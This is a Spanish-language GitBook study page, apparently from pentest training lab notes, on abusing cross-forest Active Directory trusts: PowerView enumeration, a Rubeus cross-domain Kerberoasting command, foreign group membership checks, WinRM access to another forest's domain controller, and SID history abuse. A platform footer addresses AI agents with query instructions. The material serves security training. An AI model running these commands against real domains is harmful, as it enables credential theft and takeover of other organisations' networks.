> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/attacking-domain-trusts-cross-forest-trust-abuse-from-windows.md).

# Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows

Este capitulo nos enseña a enumerar posibles ataques de domain trust entre distintos forest, tomando en cuenta el caso de que dentro del proceso de enumeracion para un PrivEsc el ususario administrador no tiene privilegios sobre su propio forest, sino que es posible que un usuario dentro de otro forest que tiene un Trust Domain con el forest actual, tenga algun privilegio sobre dicho forest objetivo y permita hacer privesc de manera transversal.

### Cross-Forest Kerberoasting

Los ataques a Kerberos, como Kerberoasting y ASREPRoasting, pueden realizarse entre diferentes relaciones de confianza, dependiendo de la dirección de la misma. Si se encuentra en un dominio con una relación de confianza de dominio/bosque entrante o bidireccional, es probable que pueda realizar diversos ataques para obtener acceso. En ocasiones, no es posible escalar privilegios en el dominio actual, pero sí se puede obtener un ticket de Kerberos y descifrar el hash de un usuario administrativo de otro dominio que tenga privilegios de administrador de dominio/empresa en ambos.&#x20;

#### Enumeracion de usuarios que tienen SPNs asociados

```powershell
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
```

Output:

```powershell
samaccountname
--------------
krbtgt
mssqlsvc
```

#### Verificación de user mssqlsvc, por si pertenece al grupo DOMAIN ADMINS

```powershell
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof
```

Output:

```powershell
samaccountname memberof
-------------- --------
mssqlsvc       CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL
```

Ejecutando un Kerberoasting attack utilizando Rubeus, incluyendo la flag /domain para especificar el dominio

```powershell
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
```

Hasta aqui si el hash es crackeable, podemos seguir expandiendo nuestros accesos.

### Reutilización de contraseñas de administrador y pertenencia a grupos

En entornos con confianza bidireccional entre bosques, comprometer las credenciales de un administrador en un dominio puede otorgar control total e inmediato sobre el otro. Esto ocurre porque los administradores frecuentemente reutilizan la misma contraseña para sus cuentas de altos privilegios en ambos dominios, incluso si los nombres de usuario varían ligeramente. Siempre se debe verificar esta vulnerabilidad al tomar el control de un dominio.

En ocasiones, me he encontrado con problemas en los que, por ejemplo, el Dominio A tenía un usuario llamado adm\_bob.smith en el grupo Administradores de dominio, y el Dominio B tenía un usuario llamado bsmith\_admin. A veces, el usuario utilizaba la misma contraseña en ambos dominios, y al tomar el control del Dominio A obtenía instantáneamente derechos de administrador completos en el Dominio B.

También podemos ver usuarios o administradores del Dominio A como miembros de un grupo en el Dominio B. Solo los Grupos Locales de Dominio permiten entidades de seguridad externas a su bosque. Podemos ver un Administrador de Dominio o un Administrador Empresarial del Dominio A como miembro del grupo de Administradores integrado en el Dominio B en una relación de confianza bidireccional entre bosques. Si podemos asumir el control de este usuario administrador en el Dominio A, obtendríamos acceso administrativo completo al Dominio B en función de su pertenencia a grupos.

Podemos usar la función Get-DomainForeignGroupMember de PowerView para enumerar los grupos con usuarios que no pertenecen al dominio, también conocido como pertenencia a grupos externos. Probemos esto con el dominio FREIGHTLOGISTICS.LOCAL, con el que tenemos una relación de confianza bidireccional externa.

#### Using Get-DomainForeignGroupMember

```powershell
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
```

OUTPUT:

```powershell
GroupDomain             : FREIGHTLOGISTICS.LOCAL
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=FREIGHTLOGISTICS,DC=LOCAL
MemberDomain            : FREIGHTLOGISTICS.LOCAL
MemberName              : S-1-5-21-3842939050-3880317879-2865463114-500
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGIS
                          TICS,DC=LOCAL
```

#### Convirtiendo un SID a nombre

```powershell
Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500
```

Output:

```powershell
INLANEFREIGHT\administrator
```

La salida del comando anterior muestra que el grupo de administradores integrado en FREIGHTLOGISTICS.LOCAL tiene como miembro la cuenta de administrador integrada del dominio INLANEFREIGHT.LOCAL. Podemos verificar este acceso utilizando el cmdlet Enter-PSSession para conectarnos a través de WinRM.

#### Accediendo a DC03 con WinRM

```powershell
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator
```

```powershell
[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS C:\Users\administrator.INLANEFREIGHT\Documents> whoami
inlanefreight\administrator

[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS C:\Users\administrator.INLANEFREIGHT\Documents> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : ACADEMY-EA-DC03
   Primary Dns Suffix  . . . . . . . : FREIGHTLOGISTICS.LOCAL
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : FREIGHTLOGISTICS.LOCAL

```

Según la salida del comando anterior, podemos ver que nos autenticamos correctamente en el controlador de dominio del dominio FREIGHTLOGISTICS.LOCAL utilizando la cuenta de administrador del dominio INLANEFREIGHT.LOCAL a través de la relación de confianza bidireccional entre bosques. Esto puede ser una ventaja inmediata tras tomar el control de un dominio y siempre conviene comprobarlo si existe una relación de confianza bidireccional entre bosques durante una evaluación y el segundo bosque está incluido en el alcance.

### Abuso del historial de SID - Cross Forest

El historial de SID también puede ser objeto de abuso en una relación de confianza entre bosques. Si un usuario se migra de un bosque a otro y el filtrado de SID no está habilitado, es posible agregar un SID del otro bosque, y este SID se agregará al token del usuario al autenticarse en la relación de confianza. Si el SID de una cuenta con privilegios administrativos en el Bosque A se agrega al atributo de historial de SID de una cuenta en el Bosque B, suponiendo que puedan autenticarse en ambos bosques, esta cuenta tendrá privilegios administrativos al acceder a los recursos en el bosque asociado. En el siguiente diagrama, podemos ver un ejemplo del usuario jjones siendo migrado del dominio INLANEFREIGHT.LOCAL al dominio CORP.LOCAL en un bosque diferente. Si el filtrado SID no está habilitado cuando se realiza esta migración y el usuario tiene privilegios administrativos (o cualquier tipo de derechos interesantes, como entradas ACE, acceso a recursos compartidos, etc.) en el dominio INLANEFREIGHT.LOCAL, entonces conservará sus derechos/acceso administrativos en INLANEFREIGHT.LOCAL mientras sea miembro del nuevo dominio, CORP.LOCAL, en el segundo bosque.

<figure><img src="/files/gA0sGeq3y8G69xAfQE4a" alt=""><figcaption></figcaption></figure>

Este ataque se tratará en profundidad en un módulo posterior que se centrará más en los ataques a las relaciones de confianza de Active Directory.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/attacking-domain-trusts-cross-forest-trust-abuse-from-windows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
